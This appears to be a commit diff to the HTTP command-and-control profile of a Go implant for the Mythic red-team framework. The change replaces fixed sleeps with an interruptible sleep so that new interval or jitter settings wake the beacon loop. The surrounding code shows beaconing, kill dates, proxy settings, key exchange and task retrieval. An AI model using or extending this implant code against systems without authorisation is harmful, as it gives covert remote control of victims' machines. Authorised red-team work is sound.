@@ -49,21 +49,22 @@ type HTTPInitialConfig struct {
49
49
}
50
50
51
51
type C2HTTP struct {
52
- BaseURL string `json:"BaseURL"`
53
- PostURI string `json:"PostURI"`
54
- ProxyURL string `json:"ProxyURL"`
55
- ProxyUser string `json:"ProxyUser"`
56
- ProxyPass string `json:"ProxyPass"`
57
- ProxyBypass bool `json:"ProxyBypass"`
58
- Interval int `json:"Interval"`
59
- Jitter int `json:"Jitter"`
60
- HeaderList map [string ]string `json:"Headers"`
61
- ExchangingKeys bool
62
- Key string `json:"EncryptionKey"`
63
- RsaPrivateKey * rsa.PrivateKey
64
- Killdate time.Time `json:"KillDate"`
65
- ShouldStop bool
66
- stoppedChannel chan bool
52
+ BaseURL string `json:"BaseURL"`
53
+ PostURI string `json:"PostURI"`
54
+ ProxyURL string `json:"ProxyURL"`
55
+ ProxyUser string `json:"ProxyUser"`
56
+ ProxyPass string `json:"ProxyPass"`
57
+ ProxyBypass bool `json:"ProxyBypass"`
58
+ Interval int `json:"Interval"`
59
+ Jitter int `json:"Jitter"`
60
+ HeaderList map [string ]string `json:"Headers"`
61
+ ExchangingKeys bool
62
+ Key string `json:"EncryptionKey"`
63
+ RsaPrivateKey * rsa.PrivateKey
64
+ Killdate time.Time `json:"KillDate"`
65
+ ShouldStop bool
66
+ stoppedChannel chan bool
67
+ interruptSleepChannel chan bool
67
68
}
68
69
69
70
// New creates a new HTTP C2 profile from the package's global variables and returns it
@@ -112,14 +113,15 @@ func init() {
112
113
os .Exit (1 )
113
114
}
114
115
profile := C2HTTP {
115
- BaseURL : final_url ,
116
- PostURI : initialConfig .PostURI ,
117
- ProxyUser : initialConfig .ProxyUser ,
118
- ProxyPass : initialConfig .ProxyPass ,
119
- Key : initialConfig .AESPSK ,
120
- Killdate : killDateTime ,
121
- ShouldStop : true ,
122
- stoppedChannel : make (chan bool , 1 ),
116
+ BaseURL : final_url ,
117
+ PostURI : initialConfig .PostURI ,
118
+ ProxyUser : initialConfig .ProxyUser ,
119
+ ProxyPass : initialConfig .ProxyPass ,
120
+ Key : initialConfig .AESPSK ,
121
+ Killdate : killDateTime ,
122
+ ShouldStop : true ,
123
+ stoppedChannel : make (chan bool , 1 ),
124
+ interruptSleepChannel : make (chan bool , 1 ),
123
125
}
124
126
125
127
// Convert sleep from string to integer
@@ -153,7 +155,13 @@ func init() {
153
155
154
156
RegisterAvailableC2Profile (& profile )
155
157
}
156
-
158
+ func (c * C2HTTP ) Sleep () {
159
+ // wait for either sleep time duration or sleep interrupt
160
+ select {
161
+ case <- c .interruptSleepChannel :
162
+ case <- time .After (time .Second * time .Duration (c .GetSleepTime ())):
163
+ }
164
+ }
157
165
func (c * C2HTTP ) Start () {
158
166
// Checkin with Mythic via an egress channel
159
167
// only try to start if we're in a stopped state
@@ -188,15 +196,15 @@ func (c *C2HTTP) Start() {
188
196
taskResp := structs.MythicMessageResponse {}
189
197
if err := json .Unmarshal (resp , & taskResp ); err != nil {
190
198
utils .PrintDebug (fmt .Sprintf ("Error unmarshal response to task response: %s" , err .Error ()))
191
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
199
+ c .Sleep ()
192
200
continue
193
201
}
194
202
responses .HandleInboundMythicMessageFromEgressChannel <- taskResp
195
203
}
196
204
} else {
197
205
utils .PrintDebug (fmt .Sprintf ("Failed to marshal message: %v\n " , err ))
198
206
}
199
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
207
+ c .Sleep ()
200
208
}
201
209
} else {
202
210
//fmt.Printf("Uh oh, failed to checkin\n")
@@ -232,11 +240,17 @@ func (c *C2HTTP) UpdateConfig(parameter string, value string) {
232
240
if err == nil {
233
241
c .Interval = newInt
234
242
}
243
+ go func () {
244
+ c .interruptSleepChannel <- true
245
+ }()
235
246
case "Jitter" :
236
247
newInt , err := strconv .Atoi (value )
237
248
if err == nil {
238
249
c .Jitter = newInt
239
250
}
251
+ go func () {
252
+ c .interruptSleepChannel <- true
253
+ }()
240
254
case "Killdate" :
241
255
killDateString := fmt .Sprintf ("%sT00:00:00.000Z" , value )
242
256
killDateTime , err := time .Parse ("2006-01-02T15:04:05.000Z" , killDateString )
@@ -278,6 +292,9 @@ func (c *C2HTTP) GetSleepTime() int {
278
292
func (c * C2HTTP ) SetSleepInterval (interval int ) string {
279
293
if interval >= 0 {
280
294
c .Interval = interval
295
+ go func () {
296
+ c .interruptSleepChannel <- true
297
+ }()
281
298
return fmt .Sprintf ("Sleep interval updated to %ds\n " , interval )
282
299
} else {
283
300
return fmt .Sprintf ("Sleep interval not updated, %d is not >= 0" , interval )
@@ -288,6 +305,9 @@ func (c *C2HTTP) SetSleepInterval(interval int) string {
288
305
func (c * C2HTTP ) SetSleepJitter (jitter int ) string {
289
306
if jitter >= 0 && jitter <= 100 {
290
307
c .Jitter = jitter
308
+ go func () {
309
+ c .interruptSleepChannel <- true
310
+ }()
291
311
return fmt .Sprintf ("Jitter updated to %d%% \n " , jitter )
292
312
} else {
293
313
return fmt .Sprintf ("Jitter not updated, %d is not between 0 and 100" , jitter )
@@ -326,7 +346,7 @@ func (c *C2HTTP) CheckIn() structs.CheckInMessageResponse {
326
346
}
327
347
checkin := CreateCheckinMessage ()
328
348
if raw , err := json .Marshal (checkin ); err != nil {
329
- time .Sleep (time . Duration ( c . GetSleepTime ()) )
349
+ c .Sleep ()
330
350
continue
331
351
} else {
332
352
resp := c .SendMessage (raw )
@@ -335,15 +355,15 @@ func (c *C2HTTP) CheckIn() structs.CheckInMessageResponse {
335
355
response := structs.CheckInMessageResponse {}
336
356
if err = json .Unmarshal (resp , & response ); err != nil {
337
357
utils .PrintDebug (fmt .Sprintf ("Error in unmarshal:\n %s" , err .Error ()))
338
- time .Sleep (time . Duration ( c . GetSleepTime ()) )
358
+ c .Sleep ()
339
359
continue
340
360
}
341
361
if len (response .ID ) != 0 {
342
362
SetMythicID (response .ID )
343
363
SetAllEncryptionKeys (c .Key )
344
364
return response
345
365
} else {
346
- time .Sleep (time . Duration ( c . GetSleepTime ()) )
366
+ c .Sleep ()
347
367
continue
348
368
}
349
369
}
@@ -482,7 +502,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
482
502
if err != nil {
483
503
utils .PrintDebug (fmt .Sprintf ("error client.Do: %v\n " , err ))
484
504
IncrementFailedConnection (c .ProfileName ())
485
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
505
+ c .Sleep ()
486
506
continue
487
507
}
488
508
if resp .StatusCode != 200 {
@@ -492,7 +512,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
492
512
utils .PrintDebug (fmt .Sprintf ("error failed to close response body: %v\n " , err ))
493
513
}
494
514
IncrementFailedConnection (c .ProfileName ())
495
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
515
+ c .Sleep ()
496
516
continue
497
517
}
498
518
body , err := io .ReadAll (resp .Body )
@@ -503,7 +523,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
503
523
utils .PrintDebug (fmt .Sprintf ("error failed to close response body: %v\n " , err ))
504
524
}
505
525
IncrementFailedConnection (c .ProfileName ())
506
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
526
+ c .Sleep ()
507
527
continue
508
528
}
509
529
err = resp .Body .Close ()
@@ -515,13 +535,13 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
515
535
if err != nil {
516
536
utils .PrintDebug (fmt .Sprintf ("error base64.StdEncoding: %v\n " , err ))
517
537
IncrementFailedConnection (c .ProfileName ())
518
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
538
+ c .Sleep ()
519
539
continue
520
540
}
521
541
if len (raw ) < 36 {
522
542
utils .PrintDebug (fmt .Sprintf ("error len(raw) < 36: %v\n " , err ))
523
543
IncrementFailedConnection (c .ProfileName ())
524
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
544
+ c .Sleep ()
525
545
continue
526
546
}
527
547
if len (c .Key ) != 0 {
@@ -531,7 +551,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
531
551
// failed somehow in decryption
532
552
utils .PrintDebug (fmt .Sprintf ("error decrypt length wrong: %v\n " , err ))
533
553
IncrementFailedConnection (c .ProfileName ())
534
- time .Sleep (time . Duration ( c . GetSleepTime ()) * time . Second )
554
+ c .Sleep ()
535
555
continue
536
556
} else {
537
557
if i > 0 {
0 commit comments